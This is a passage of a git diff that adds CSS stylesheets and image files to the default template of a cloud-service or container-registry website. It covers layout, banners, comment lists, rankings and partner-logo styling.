line-height:50px +} +.exception>a { + margin-top:18px; + line-height:30px; + padding:0 13px; + border:1px solid #666; + border-radius:5px; + margin-left:20px; + color:#666; + float:left +} +.exception>a:hover { + color:#2db7f5 +} +.goback .back { + padding:6px 12px; + cursor:pointer +} +.images .imgIcon { + display:block; + margin:30px auto; + max-width:90% +} +.mirror-head .type-info span.title { + display:inline-block; + width:500px; + height:36px; + font-size:20px; + white-space:nowrap +} +.download-mirror label { + font-size:14px; + line-height:35px; + text-align:center +} +.mirror-head { + width:100%; + height:190px +} +.mirror-head .images { + float:left; + width:150px; + height:140px; + border:1px solid #DCDCDC; + background:#fff; + display:table; + margin-right:30px; + position:relative +} +.mirror-head .images .uploadImg { + position:absolute; + bottom:0; + background:rgba(142,152,160,.2); + width:100%; + left:0; + text-align:center +} +.mirror-head .images #collectImage { + position:absolute; + right:0; + text-indent:10px +} +.mirror-head .type-info { + float:left; + height:100%; + width:35% +} +.mirror-head .type-info span.title { + display:inline-block; + width:100%; + height:36px; + font-size:20px; + white-space:nowrap +} +.mirror-head .type-info .fork { + cursor:pointer; + font-size:14px +} +.mirror-head .type-info .fork:hover { + color:orange +} +.mirror-head .type-info .downloadNumber { + margin:0 10px; + font-size:14px +} +.mirror-head .type-info #registryLock { + text-align:left +} +.mirror-head .type-info .list-content { + height:65px; + width:95%; + display:block; + line-height:20px; + font-size:14px; + overflow:hidden +} +.mirror-head .type-info .star-style { + margin-right:5px +} +.mirror-head .list-download { + position:absolute; + right:0; + height:100%; + width:48% +} +.mirror-head .list-download .download-mirror { + position:relative; + top:65px +} +.mirror-head .list-download .download-mirror .download-src { + width:75%; + height:35px; + text-indent:10px; + border:1px solid #4280CB; + color:#4280CB +} +.mirror-head .list-download .download-mirror #click-copy { + border:1px solid #4280CB; + width:65px; + height:35px; + display:inline-block; + position:absolute; + top:0; + border-left:0; + cursor:pointer; + background:url(../images/bj_registry_list.png) no-repeat; + background-position:23px 5px +} +.ant-tabs-tabs-bar { + margin-bottom:0 +} +.format { + padding:30px 15px; + min-height:168px +} +.format ul { + padding-left:20px; + list-style:disc +} +.format ul li { + list-style:disc +} +.format img { + max-width:100% +} +.download-ranking { + font-size:1.2em +} +#downRanking ul,#favRanking ul { + padding-bottom:5px +} +.ant-menu-item-active,.ant-menu-submenu-title:hover { + background:0 0 +} +.logo-head .ant-menu-vertical li.ant-menu-item-active:hover { + background-color:#eaf8fe +} +.btn-primary { + color:#fff; + background:#4B80CB +} +.btn-lg { + height:50px; + font-size:1.1em; + padding:0 26px; + line-height:50px; + cursor:pointer; + display:block; + text-align:center +} +.listing:nth-of-type(1) { + margin-top:30px +} +.listing { + height:100px; + margin-top:20px +} +.listing .list-item-img { + margin:25px auto; + width:80% +} +.listing .list-item-img img { + margin:0 auto; + height:50px +} +.listing .list-item-description { + margin-top:25px +} +.listing .list-item-middle { + line-height:100px +} +.listing .list-item-middle .fa-star-o { + font-size:1.2em; + color:#efa11b +} +.rankinglist { + position:absolute; + width:90%; + min-height:340px +} +.rankinglist .ranking-li { + height:50px +} +.rankinglist .ant-menu-vertical { + border:0 +} +.ranking-row { + height:58px; + line-height:60px; + border-bottom:1px solid #dadada; + margin-bottom:10px; + font-size:1.2em +} +.search-result { + line-height:50px; + color:orange +} +.allcomment { + border-bottom:1px dashed #ddd; + margin-bottom:100px +} +.allcomment .comment-list,.allcomment .reply-list { + border-top:1px dashed #ddd; + padding-top:8px; + display:table; + width:100% +} +.allcomment .comment-list .user-info,.allcomment .reply-list .user-info { + width:80px +} +.allcomment .comment-list .user-info .user-head,.allcomment .reply-list .user-info .user-head { + width:50px; + border-radius:50% +} +.allcomment .comment-list .comm-content,.allcomment .reply-list .comm-content { + width:calc(100% - 80px); + position:relative +} +.allcomment .comment-list .comm-content .contributor,.allcomment .reply-list .comm-content .contributor { + color:#44ACFF; + margin-right:20px +} +.allcomment .comment-list .comm-content .push-time,.allcomment .reply-list .comm-content .push-time { + font-size:12px; + color:#999 +} +.allcomment .comment-list .comm-content .revert-content,.allcomment .reply-list .comm-content .revert-content { + line-height:22px +} +.comment-content { + min-height:100px; + max-width:100%; + padding:5px; + width:100%; + border:1px solid #A9A9A9 +} +.ant-dropdown { + width:410px +} +.emojiList { + background:#fff; + border:1px solid #ccc; + border:1px solid rgba(0,0,0,.15); + box-shadow:0 6px 12px rgba(0,0,0,.175); + padding:5px; + border-radius:4px +} +.emoji { + width:1.8em; + height:1.8em; + display:inline-block; + margin-bottom:-.25em; + background-size:contain; + cursor:pointer; + margin:2px +} +.loadmore { + height:40px; + width:100%; + padding:0; + border:1px solid #337ab7; + color:#337ab7; + line-height:40px; + text-align:center; + cursor:pointer; + margin-bottom:24px +} +.loadmore:hover { + color:#999 +} +.allcomment .comm-content .hover-reply { + visibility:hidden; + color:#44ACFF; + cursor:pointer +} +.comment-detail { + overflow:hidden +} +.comment-detail:hover .zan-box .hover-reply { + visibility:visible +} +.reply-list:hover div .hover-reply { + visibility:visible +} +.contributor li { + line-height:42px +} +#scroll_Top { + z-index:20; + opacity:0; + position:fixed; + bottom:20px; + right:10px; + border-radius:10px; + text-align:center; + color:#333; + background:#F1F1F1; + width:60px; + height:60px; + cursor:pointer; + border-radius:40px; + line-height:30px; + vertical-align:middle; + transition:all .5s +} +#scroll_Top i { + font-size:18px; + display:block; + margin-top:10px +} +#scroll_Top.show { + opacity:1 +} \ No newline at end of file diff --git a/template/default/assets/css/index-top.css b/template/default/assets/css/index-top.css new file mode 100644 index 0000000..21730db --- /dev/null +++ b/template/default/assets/css/index-top.css @@ -0,0 +1 @@ +*{margin:0;padding:0}body{width:100%;font-family:"Microsoft YaHei",Arial,"Hiragino Sans GB",STHeiti,"WenQuanYi Micro Hei",SimSun,sans-serif}::-webkit-scrollbar{width:10px;height:10px}::-webkit-scrollbar-button:vertical{display:none}::-webkit-scrollbar-track:vertical{background-color:#000}::-webkit-scrollbar-track-piece{background-color:#F5F5F5}::-webkit-scrollbar-thumb:vertical{margin-right:10px;background-color:#A6A6A6}::-webkit-scrollbar-thumb:vertical:hover{background-color:#aaa}::-webkit-scrollbar-corner:vertical{background-color:#535353}::-webkit-scrollbar-resizer:vertical{background-color:#FF6E00}.navbar-default{background:#fff;border:0}::-webkit-scrollbar-thumb{border-radius:5px}img.user_icon{height:36px;border-radius:50%}.logo{display:inline-block;width:160px;height:40px;background:url(logo.png) no-repeat;background-size:95%;background-position:0 0;position:relative;top:13px;left:15px}.logo_blue{background-position:0 -40px}.header-actions .logo_img{padding-top:13px}.header-actions:hover b.caret.user_caret{-webkit-transform:rotate(180deg);-moz-transform:rotate(180deg);-ms-transform:rotate(180deg);-o-transform:rotate(180deg);transform:rotate(180deg)}b.caret.user_caret{position:absolute;top:30px;right:3px;-webkit-transition:200ms;-ms-transition:200ms;-moz-transition:200ms;-o-transition:200ms;transition:200ms}a:focus{border:none;outline:0}.header-actions{position:relative}.select_go{box-shadow:0 0 10px rgba(0,0,0,.3);min-width:100px;background:#fff;position:absolute;left:-15px;border:1px solid #e5e5e5;-webkit-transition:all .6s cubic-bezier(0.175,.885,.32,1.275);-moz-transition:all .6s cubic-bezier(0.175,.885,.32,1.275);-o-transition:all .6s cubic-bezier(0.175,.885,.32,1.275);transition:all .6s cubic-bezier(0.175,.885,.32,1.275);opacity:0;-webkit-transform:scale3d(0,0,0);-moz-transform:scale3d(0,0,0);-ms-transform:scale3d(0,0,0);-o-transform:scale3d(0,0,0);transform:scale3d(0,0,0);-webkit-transform-origin:40px top;-moz-transform-origin:40px top;-ms-transform-origin:40px top;-o-transform-origin:40px top;transform-origin:40px top}.select_go .go_console,.select_go .go_logout{display:block;width:100%;height:40px;line-height:40px;color:#333}.select_go .go_console:hover,.select_go .go_logout:hover{transition:.2s;background:#f5f5f5}.nav-new{box-shadow:0 0 10px rgba(0,0,0,.3);min-width:100px;background:#fff;left:calc(50% - 48px);border:1px solid #e5e5e5;position:absolute;white-space:nowrap;-webkit-transition:all .6s cubic-bezier(0.175,.885,.32,1.275);-moz-transition:all .6s cubic-bezier(0.175,.885,.32,1.275);-o-transition:all .6s cubic-bezier(0.175,.885,.32,1.275);transition:all .6s cubic-bezier(0.175,.885,.32,1.275);opacity:0;-webkit-transform:scale3d(0,0,0);-moz-transform:scale3d(0,0,0);-ms-transform:scale3d(0,0,0);-o-transform:scale3d(0,0,0);transform:scale3d(0,0,0);-webkit-transform-origin:40px top;-moz-transform-origin:40px top;-ms-transform-origin:40px top;-o-transform-origin:40px top;transform-origin:40px top}.nav-new .li-new{display:block;width:100%;height:40px;line-height:40px;color:#333}.nav-new .li-new:hover{transition:.2s;background:#f5f5f5}.nav-new:after{content:"";display:block;height:0;clear:both;visibility:hidden}.header-doc:hover .nav-new{-webkit-transform:scale3d(1,1,1);-moz-transform:scale3d(1,1,1);-ms-transform:scale3d(1,1,1);-o-transform:scale3d(1,1,1);transform:scale3d(1,1,1);opacity:1}.header-actions:hover .select_go{-webkit-transform:scale3d(1,1,1);-moz-transform:scale3d(1,1,1);-ms-transform:scale3d(1,1,1);-o-transform:scale3d(1,1,1);transform:scale3d(1,1,1);opacity:1}li{list-style:none}@media (min-width:768px) and (max-width:992px){.container{padding-left:10px}header ul.c_navbar li{margin-left:20px}header ul.c_navbar li a.font_size{margin-left:0}header ul.z_navbar li a{padding:0 5px}.screen .h4{line-height:2.2em}.proceed{font-size:1em;padding:10px 25px}.bottom_line{width:100%;height:200px;margin-top:10%}.bottom_line ul.ico-img{width:auto;padding:0;margin-left:38%}.bottom_line ul.ico-img li{float:left;width:50px}.bottom_line ul.ico-img li a{color:#898B8D;font-size:2em}.soso{position:absolute;top:55%;left:40%}.soso img{width:110px}}@media (min-width:992px){ul.z_navbar li a{padding:0 20px}.banner2 .ban2_content{font-size:1.5em;line-height:40px}.banner2 .ban2_text .ban2_middle{font-size:3em}.banner2 .ban2_text .ban3_middle{font-size:3em}.banner3 .ban3_content{font-size:1.5em;line-height:40px}.banner3 .ban3_text .ban3_middle{font-size:3em}header ul.c_navbar li{margin-left:20px}.screen .h4{line-height:2.2em}.proceed{font-size:1.4em;padding:12px 40px}.address footer ul li a{letter-spacing:2px}.bottom_line{width:100%;height:200px;margin-top:20%;border-left:1px solid #404346}.bottom_line ul.ico-img{width:auto;padding:0;margin-left:38%}.bottom_line ul.ico-img li{float:left;width:50px}.bottom_line ul.ico-img li a{color:#898B8D;font-size:2em}.soso{position:absolute;top:120px;left:43%}.soso img{width:110px;height:110px}}@media (max-width:682px){.banner2 .ban2_content{font-size:1em}.banner2 .ban2_text .ban2_middle,.banner3 .ban3_middle{font-size:1.5em}.banner3 .ban3_content{font-size:1em}.banner3 .ban3_text .ban3_middle{font-size:1.2em}.address footer ul li a{letter-spacing:0}header ul.c_navbar li a.font_size{margin-left:15px;width:50%;margin:0 auto;height:40px;line-height:30px}.navbar-top-collapse{margin-bottom:20px}.navbar-top-collapse ul.z_navbar li a{line-height:30px}.proceed{font-size:1em;padding:8px 25px}.bottom_line{width:100%;height:200px;margin-top:20%}.bottom_line ul.ico-img{width:auto;padding:0;margin-left:30%}.bottom_line ul.ico-img li{float:left;width:50px}.bottom_line ul.ico-img li a{color:#898B8D;font-size:2em}.soso{position:absolute;top:120px;left:35%}.soso img{width:110px;height:110px}}header{position:relative;top:0;width:100%;font-size:1.15em;z-index:10}header a:hover{text-decoration:none}header ul.z_navbar{margin:0;line-height:65px;text-align:center}header ul.z_navbar li a{line-height:65px}header ul.z_navbar li a.active{color:#4280cb}header ul.z_navbar li .li-new{padding:0}header ul.z_navbar li ul.items{display:none;background:#fff;min-width:100px;position:absolute;top:65px;left:-12%;border:1px solid #e5e5e5}header ul.z_navbar li ul.items li{clear:both;width:100%;height:40px;line-height:40px}header ul.z_navbar li ul.items li a{width:100%;display:inline-block;color:#333}header ul.z_navbar li ul.items li a:hover{transition:.2s}header ul.z_navbar li ul.items li:hover{background:#F5F5F5;transition:.2s}header ul.c_navbar{margin:0;line-height:65px;text-align:center}header ul.c_navbar li a.font_size{margin-top:15px;border:1px solid #666;border-radius:5px;-webkit-transition:background .4s ease;transition:background .4s ease}header ul.c_navbar li a.font_size:hover{background:#fff;color:#666}#scroll_Top{z-index:20;display:none;position:fixed;bottom:20px;right:10px;border-radius:10px;text-align:center;color:#56585A;background:#F1F1F1;width:60px;height:60px;border-radius:40px;line-height:30px;vertical-align:middle}#scroll_Top a.TopTop{font-size:12px;text-decoration:none;color:#56585A;display:block;line-height:normal}.dropdown-menu{min-width:100px}.dropdown-menu li{text-align:center}.dropdown-menu.pull-right{left:-38px;top:200%}.select_go .rows,.nav-new .rows{position:absolute;left:40px;top:-16px;width:0;height:0;font-size:0;border-width:8px;border-style:dashed dashed solid;border-color:rgba(0,0,0,0)rgba(0,0,0,0)#fff}p.focus{color:#fff;font-size:18px}.address footer{min-width:320px;width:100%;position:relative;overflow:hidden;background:#14181C}.address footer ul{margin:0;float:left;padding-top:50px;width:25%}.address footer ul h4{color:#fff}.address footer ul li{list-style:none;line-height:40px;color:#ccc}.address footer ul li a{color:#898B8D;text-decoration:none}.address footer ul li a:hover{color:#e8e7e7}.xinxi{position:relative;top:30px;width:100%;text-align:center}.xinxi p{line-height:60px;color:#686A6B;font-size:12px;margin-bottom:30px}#main-nav{margin:0;min-height:65px}a.font_size{padding:5px 15px;border:1px solid #666;border-radius:5px;-moz-transition:background .4s ease;-ms-transition:background .4s ease;-webkit-transition:background .4s ease;transition:background .4s ease}a.font_size:hover{background:#fff;color:#666}#products-move{position:relative;left:0;top:100px;font-size:28px;letter-spacing:0;width:auto}#page #masthead{text-shadow:none}#ie9{height:20px;line-height:20px;background:red;color:#fff;text-align:center;position:fixed;top:0;width:60%;left:20%;z-index:10000;display:none;font-size:12px}.closeIE{color:#fff;position:absolute;right:20px;cursor:pointer} \ No newline at end of file diff --git a/template/default/assets/css/index.css b/template/default/assets/css/index.css new file mode 100644 index 0000000..0f7ff02 --- /dev/null +++ b/template/default/assets/css/index.css @@ -0,0 +1,877 @@ +header { + position:fixed; + background:#fff +} +@media screen and (min-width:992px) { + html,body { + height:100% +} +.center_content { + padding-left:10% +} +#myCarousel,.banner2,.banner3 { + height:100%; + min-height:450px +} +#myCarousel .carousel-inner,.carousel-inner>.item { + height:100% +} +.banner2 .container { + height:100% +} +.banner2 .container .row { + height:100% +} +.banner2 .container .row .col-md-6 { + height:100% +} +.banner2 .container .row .col-md-6 .cloud_host_img { + top:22% +} +.banner2 .container .row .col-md-6 .ban2_text { + height:100% +} +.ban2_text { + position:relative +} +.ban2_text .ban2_status,.ban2_text .ban3_status { + position:absolute; + top:30% +} +.ban2_text .ban2_status .ban2_middle,.ban2_text .ban3_status .ban2_middle,.ban2_text .ban2_status .ban3_middle,.ban2_text .ban3_status .ban3_middle { + color:#fff; + position:relative; + letter-spacing:6px; + top:35%; + left:10% +} +.ban2_content,.ban3_content { + color:#fff; + width:90%; + position:relative; + letter-spacing:1px; + top:37%; + left:10% +} +.ban2_experience { + font-size:1.2em; + color:#fff; + margin-top:30px; + position:relative; + left:10% +} +.cloud_host_img { + position:absolute +} +.blog-article { + padding:20px +} +.cloud_db_img { + position:absolute; + top:20% +} +}@media (min-width:682px) and (max-width:992px) { + header { + position:fixed; + background:#fff +} +html,body { + height:100% +} +.center_content { + padding-left:5% +} +#myCarousel,.banner2,.banner3 { + height:100%; + min-height:450px +} +#myCarousel .carousel-inner,.carousel-inner>.item { + height:100% +} +.banner2 .container { + height:100% +} +.banner2 .container .row { + height:100% +} +.banner2 .container .row .col-md-6 { + height:100% +} +.banner2 .container .row .col-md-6 .ban2_text { + height:100% +} +.ban2_text { + position:relative +} +.ban2_text .ban2_status,.ban2_text .ban3_status { + position:absolute; + top:30% +} +.ban2_text .ban2_status .ban2_middle,.ban2_text .ban3_status .ban2_middle,.ban2_text .ban2_status .ban3_middle,.ban2_text .ban3_status .ban3_middle { + color:#fff; + position:relative; + letter-spacing:6px; + top:35%; + left:10%; + font-size:20px +} +.ban2_content,.ban3_content { + color:#fff; + width:90%; + position:relative; + letter-spacing:1px; + top:37%; + left:10% +} +.ban2_experience,.ban3_experience { + font-size:1.2em; + color:#fff; + margin-top:30px; + position:relative; + left:10% +} +.cloud_host_img,.cloud_db_img { + position:absolute; + top:22% +} +.blog-article { + padding:15px +} +}@media (max-width:682px) { + html,body { + height:100%; + min-width:400px; + font-size:12px +} +#myCarousel,.banner2,.banner3 { + height:100% +} +.docker { + top:0!important +} +#myCarousel .carousel-inner,.carousel-inner>.item { + height:100% +} +.banner2 .container { + height:100% +} +.banner2 .container .row { + height:100% +} +.banner2 .container .row .col-xs-12 { + height:50% +} +.banner2 .container .row .col-xs-12 .ban2_text { + height:100% +} +.banner2 .ban2_text .ban2_status { + text-align:center; + font-size:1.5em +} +.cloud_host_img,.cloud_db_img { + width:60%; + margin-left:20%; + margin-top:10% +} +.ban2_text { + position:relative +} +.ban2_text .ban3_status { + position:absolute; + text-align:center; + font-size:1.5em +} +.ban2_text .ban3_status .ban3_middle { + color:#fff; + letter-spacing:6px +} +.ban2_text .ban3_status .ban3_content { + color:#fff; + width:100%; + letter-spacing:3px +} +.ban2_text .ban2_status { + position:absolute; + top:15% +} +.ban2_text .ban2_status .ban2_middle { + color:#fff; + position:relative; + letter-spacing:6px; + top:35% +} +.ban2_content { + color:#fff; + width:100%; + position:relative; + letter-spacing:3px; + top:37% +} +.ban2_experience { + color:#fff; + margin-top:30px; + position:relative +} +.blog-article { + padding:5px +} +.blog-article .h4 { + font-size:14px +} +.blog-article .h5 { + margin-top:5px; + font-size:12px +} +.screen4 .safe-content { + font-size:14px +} +.tenxcloud_news { + margin-top:10px +} +.screen6 .collaborate li a div { + margin:0 auto +} +}#nav-top { + box-shadow:0 3px 3px rgba(0,0,0,.175) +} +.proceed { + color:#fff; + border:1px solid #fff; + border-radius:5px; + -moz-transition:background .4s ease; + -ms-transition:background .4s ease; + -webkit-transition:background .4s ease; + transition:background .4s ease +} +.proceed-foot { + color:#D9EFF0; + padding:10px 50px; + font-size:2em; + border:1px solid #fff +} +.proceed-2,.proceed-3,.proceed-4 { + color:#eee; + border:1px solid #eee +} +.proceed:hover { + color:#3F5061; + background:#fff; + border-color:#fff +} +#youremail { + border-radius:4px; + width:380px; + height:50px; + color:#eee; + font-size:18px; + border:1px solid #eee; + background:0 0; + vertical-align:middle; + text-indent:10px; + line-height:normal +} +#youremail::-webkit-input-placeholder { + color:#eee +} +#youremail:-moz-placeholder { + color:#eee +} +#youremail::-moz-placeholder { + color:#eee +} +#youremail:-ms-input-placeholder { + color:#eee +} +#apply-for { + margin-left:10px; + line-height:35px; + background:#4280CB; + vertical-align:top; + border-radius:4px; + height:50px; + width:126px; + font-size:18px; + cursor:pointer; + -moz-transition:background .4s ease; + -ms-transition:background .4s ease; + -webkit-transition:background .4s ease; + transition:background .4s ease; + font-family:Microsoft Yahei,Hiragino Sans GB,WenQuanYi Micro Hei,sans-serif +} +#apply-for:hover { + background:#DFDFDF; + color:#555 +} +#apply-bottom { + margin-left:10px; + line-height:35px; + background:#eee; + vertical-align:middle; + border-radius:4px; + height:50px; + padding:8px 12px; + font-size:18px; + cursor:pointer; + -moz-transition:background .4s ease; + -ms-transition:background .4s ease; + -webkit-transition:background .4s ease; + transition:background .4s ease; + font-family:Microsoft Yahei,Hiragino Sans GB,WenQuanYi Micro Hei,sans-serif +} +a { + color:inherit +} +a:hover { + text-decoration:none +} +.carousel-indicators li { + margin:0 8px +} +.carousel-indicators .active { + margin:0 7px +} +.screen1 { + margin-top:65px; + height:calc(100% - 65px) +} +.screen1 #myCarousel { + width:100%; + overflow:hidden +} +.carousel-indicators { + bottom:20px +} +.move_cloud { + width:100%; + height:200px; + position:absolute; + background:url(../images/hostingupline.png) no-repeat; + -webkit-animation:move_top 10s ease-out alternate infinite; + -moz-animation:move_top 10s ease-out alternate infinite; + -ms-animation:move_top 10s ease-out alternate infinite; + animation:move_top 10s ease-out alternate infinite +} +.banner2 { + width:100%; + background:url(../images/hostingupline.png) no-repeat; + background-size:100%; + position:relative +} +.banner2:after { + content:''; + background:#4280cb; + background:-webkit-gradient(linear,0 0,0 100%,from(#4585d2),to(#4280cb)); + background:-moz-linear-gradient(top,#4585d2,#4280cb); + background:linear-gradient(to bottom,#4585d2,#4280cb); + position:absolute; + top:0; + left:0; + height:100%; + width:100%; + z-index:-1 +} +.banner3:after { + content:''; + background:#02bf8b; + background:-webkit-gradient(linear,0 0,0 100%,from(#02bf8b),to(#01ad7f)); + background:-moz-linear-gradient(top,#02bf8b,#01ad7f); + background:linear-gradient(to bottom,#02bf8b,#01ad7f); + position:absolute; + top:0; + left:0; + height:100%; + width:100%; + z-index:-1 +} +.banner3 { + width:100% +} +.banner4:after { + content:''; + background:#33405a; + background:-webkit-gradient(linear,0 0,0 100%,from(#3e3e4a),to(#3e3e4a)); + background:-moz-linear-gradient(top,#33405a,#24314e); + background:linear-gradient(to bottom,#33405a,#24314e); + position:absolute; + top:0; + left:0; + height:100%; + width:100%; + z-index:-1 +} +#trun_left { + position:absolute; + width:8%; + top:0; + left:0; + text-align:center; + height:100%; + z-index:3 +} +#trun_left ._left { + display:none; + font-size:5em; + padding:200px 10px; + color:#eee +} +#trun_left:hover ._left { + display:block +} +#trun_right:hover ._right { + display:block +} +#trun_right { + height:100%; + width:8%; + top:0; + position:absolute; + right:0; + z-index:3; + text-align:center +} +#trun_right ._right { + display:none; + font-size:5em; + color:#eee; + padding:200px 10px +} +.tenxcloud_news { + font-size:1.5em +} +.spring_icon { + margin:0 auto; + width:160px; + height:160px; + background:url(../images/shensuo.png) no-repeat +} +.screen2 { + width:100%; + padding:80px 0 +} +.screen2 .center_content { + margin:20px auto; + transition:.3s all +} +.screen2 .center_content .servers { + height:70px; + width:70px; + float:left; + background:url(../images/server_item.png) no-repeat; + transition:.5s background ease-in-out +} +.screen2 .center_content .s_item { + background-position:0 0 +} +.screen2 .center_content .r_item { + background-position:0 -80px +} +.screen2 .center_content .m_item { + background-position:0 -160px +} +.screen2 .center_content .a_item { + background-position:0 -240px +} +.screen2 .process:hover { + color:#4280CB +} +.screen2 .process:hover .s_item { + background-position:-100px 0 +} +.screen2 .containers:hover { + color:#4280CB +} +.screen2 .containers:hover .r_item { + background-position:-100px -80px +} +.screen2 .primer:hover { + color:#4280CB +} +.screen2 .primer:hover .m_item { + background-position:-95px -160px +} +.screen2 .appstore:hover { + color:#4280CB +} +.screen2 .appstore:hover .a_item { + background-position:-100px -240px +} +.screen3 { + width:100%; + background:#FAFAFB; + position:relative; + padding:50px 0 +} +.screen3 .cloud_server { + text-align:center; + margin:20px 0; + color:#696969; + font-size:16px +} +.screen3 .cloud_server .more { + margin:10px 0; + font-size:1.2em; + background:#fff; + border:1px solid #333; + padding:10px 20px; + border-radius:2px; + -moz-transition:background .4s ease; + -ms-transition:background .4s ease; + -webkit-transition:background .4s ease; + transition:background .4s ease +} +.screen3 .server-head { + margin-top:20px; + color:#696969; + text-align:center +} +.screen3 .server_item { + background:url(../images/container_server_icon.png) no-repeat; + height:135px; + width:140px; + transition:.5s background; + margin:0 auto +} +.screen3 .h5 { + margin-bottom:50px +} +.screen3 .container_server { + background-position:0 0 +} +.screen3 .arrange { + background-position:2px -148px +} +.screen3 .codebuild { + background-position:2px -300px +} +.screen3 .server-market { + background-position:2px -449px +} +.screen3 .registry { + background-position:3px -605px +} +.screen3 .ci { + background-position:3px -757px +} +.screen3 .hosting { + background-position:2px -905px +} +.screen3 .private { + background-position:2px -1049px +} +.screen3 #container_server:hover .server-head { + color:#55C782 +} +.screen3 #container_server:hover .container_server { + background-position:-146px 0 +} +.screen3 #server-arrange:hover .server-head { + color:#4280CB +} +.screen3 #server-arrange:hover .arrange { + background-position:-146px -148px +} +.screen3 #codebuild:hover .server-head { + color:#F4B329 +} +.screen3 #codebuild:hover .codebuild { + background-position:-146px -300px +} +.screen3 #server-market:hover .server-head { + color:#8376B6 +} +.screen3 #server-market:hover .server-market { + background-position:-146px -449px +} +.screen3 #registry:hover .server-head { + color:#55c782 +} +.screen3 #registry:hover .registry { + background-position:-146px -605px +} +.screen3 #ci:hover .server-head { + color:#4280cb +} +.screen3 #ci:hover .ci { + background-position:-146px -757px +} +.screen3 #hosting:hover .server-head { + color:#f4b329 +} +.screen3 #hosting:hover .hosting { + background-position:-146px -905px +} +.screen3 #private:hover .server-head { + color:#998fc3 +} +.screen3 #private:hover .private { + background-position:-146px -1049px +} +.screen4 { + width:100%; + text-align:center; + padding:40px 0 80px; + color:#fff; + background:url(../images/tese.jpg) no-repeat; + background-size:100% 100% +} +.screen4 .cloud_server { + text-align:center; + font-size:16px +} +.screen4 .safe-content { + line-height:1.5em +} +.screen4 .design_safe { + width:100px; + height:110px; + margin:10px auto; + background:url(../images/tesetubiao.png) no-repeat +} +.screen4 .safe_ease { + background-position:0 0 +} +.screen4 .design_safe.tall { + background-position:0 -110px +} +.screen4 .design_safe.seeyou { + background-position:0 -218px +} +.screen4 .design_safe.mix { + background-position:0 -320px +} +.screen5 { + padding:40px 0 80px; + background:#FAFAFB +} +.screen5 .blog-head { + text-align:center; + margin-bottom:30px; + color:#696969 +} +.screen5 .blog-date { + font-size:20px; + color:#fff; + text-align:center; + margin-bottom:20px; + width:100px; + height:110px; + background:#4B80CB +} +.screen5 .blog-date .hrs { + margin:10px auto; + width:60%; + border-color:#a9c3e6 +} +.screen5 .blog-article { + width:calc(100% - 100px); + height:110px; + background:#fff +} +.screen5 .blog-article .h5 { + line-height:1.3em +} +.screen5 .blog-body:hover .blog-date { + background-color:#2fba66 +} +.screen6 { + width:100%; + background:#FAFAFB; + padding:40px 0 80px; + text-align:center +} +.screen6 .cloud_server { + color:#696969; + height:100px +} +.screen6 .collaborate { + width:400%; + position:relative; + height:150px +} +.screen6 .collaborate ul { + height:110px; + width:25%; + float:left +} +.screen6 .collaborate ul li { + float:left; + width:20%; + min-width:180px; + height:55px +} +.screen6 .collaborate ul li .partner { + width:190px; + height:46px; + background:url(../images/partner.png) no-repeat +} +.screen6 .collaborate ul li .aliyun { + background-position:-206px 0 +} +.screen6 .collaborate ul li .amazon { + background-position:-191px -60px +} +.screen6 .collaborate ul li .qingcloud { + background-position:-191px -120px +} +.screen6 .collaborate ul li .segmentfault { + background-position:-191px -170px +} +.screen6 .collaborate ul li .oschina { + background-position:-191px -223px +} +.screen6 .collaborate ul li .coding { + background-position:-191px -282px +} +.screen6 .collaborate ul li .fir_im { + background-position:-191px -345px +} +.screen6 .collaborate ul li .gitcafe { + background-position:-191px -400px +} +.screen6 .collaborate ul li .appcan { + background-position:-191px -473px +} +.screen6 .collaborate ul li .jisuanke { + background-position:-191px -528px +} +.screen6 .collaborate ul li .partner2 { + width:190px; + height:46px; + background:url(../images/partner2.png) no-repeat +} +.screen6 .collaborate ul li .kaiyuanshe { + background-position:-15px 0 +} +.screen6 .collaborate ul li .meituan { + background-position:-25px -53px +} +.screen6 .collaborate ul li .easemob { + background-position:0 -108px +} +.screen6 .collaborate ul li .wilddog { + background-position:0 -162px +} +.screen6 .collaborate ul li .yuntongxun { + background-position:0 -215px +} +.screen6 .collaborate ul li .cloudwise { + background-position:10px -260px +} +.screen6 .collaborate ul li .udesk { + background-position:-5px -319px +} +.screen6 .collaborate ul li .upcloud { + background-position:-5px -365px +} +.screen6 .collaborate ul li .gbtags { + background-position:-5px -470px +} +.screen6 .collaborate ul li .oneapm { + background-position:-5px -415px +} +.screen6 .collaborate ul li .partner3 { + width:190px; + height:46px; + background:url(../images/partner3.png?rev=0.21) no-repeat +} +.screen6 .collaborate ul li .qiniu { + background-position:0 0 +} +.screen6 .collaborate ul li .anchnet { + background-position:10px -60px +} +.screen6 .collaborate ul li .rongkecloud { + background-position:-15px -116px +} +.screen6 .collaborate ul li .zhugeio { + background-position:-15px -176px +} +.screen6 .collaborate ul li .yuantuan { + background-position:-15px -242px +} +.screen6 .collaborate ul li .kr36 { + background-position:-15px -360px +} +.screen6 .collaborate ul li .kf5 { + background-position:-15px -300px +} +.screen6 .collaborate ul li .bee { + background-position:0 -418px +} +.screen6 .collaborate ul li .bmob { + background-position:10px -465px +} +.screen6 .collaborate ul li .unisound { + background-position:-10px -533px +} +.screen6 .collaborate ul li .safedog { + background-position:-10px -591px +} +.screen6 .collaborate ul li .apistore { + background-position:-10px -650px +} +.screen6 .collaborate .partnerRun { + position:absolute; + bottom:0; + left:10px; + width:24.6%; + text-align:center +} +.screen6 .collaborate .partnerRun .slide { + display:inline-block; + width:10px; + height:10px; + border-radius:10px; + border:1px solid #9C9C9C; + margin:0 8px; + cursor:pointer; + transition:all .3s +} +.screen6 .collaborate .partnerRun .slide.active { + background:#9C9C9C +} +.screen7 { + padding:60px 0 100px +} +.screen7 .cloud_server { + text-align:center; + margin-bottom:30px; + color:#696969 +} +.screen7 .media-item { + width:150px; + height:70px +} +.screen7 .media-content { + line-height:1.2em +} +@keyframes move_top { + from { + left:0; + top:0 +} +to { + left:10% +} +}@-moz-keyframes move_top { + from { + left:0 +} +to { + left:10% +} +}@-webkit-keyframes move_top { + from { + left:0 +} +to { + left:10% +} +}@-o-keyframes move_top { + from { + left:0 +} +to { + left:10% +} +} \ No newline at end of file diff --git a/template/default/assets/images/alipay.png b/template/default/assets/images/alipay.png new file mode 100644 index 0000000..1054261 Binary files /dev/null and b/template/default/assets/images/alipay.png differ diff --git a/template/default/assets/images/banner4.png b/template/default/assets/images/banner4.png new file mode 100644 index 0000000..3413824 Binary files /dev/null and b/template/default/assets/images/banner4.png differ diff --git a/template/default/assets/images/bj_registry_list.png b/template/default/assets/images/bj_registry_list.png new file mode 100644 index 0000000..385d87f Binary files /dev/null and b/template/default/assets/images/bj_registry_list.png 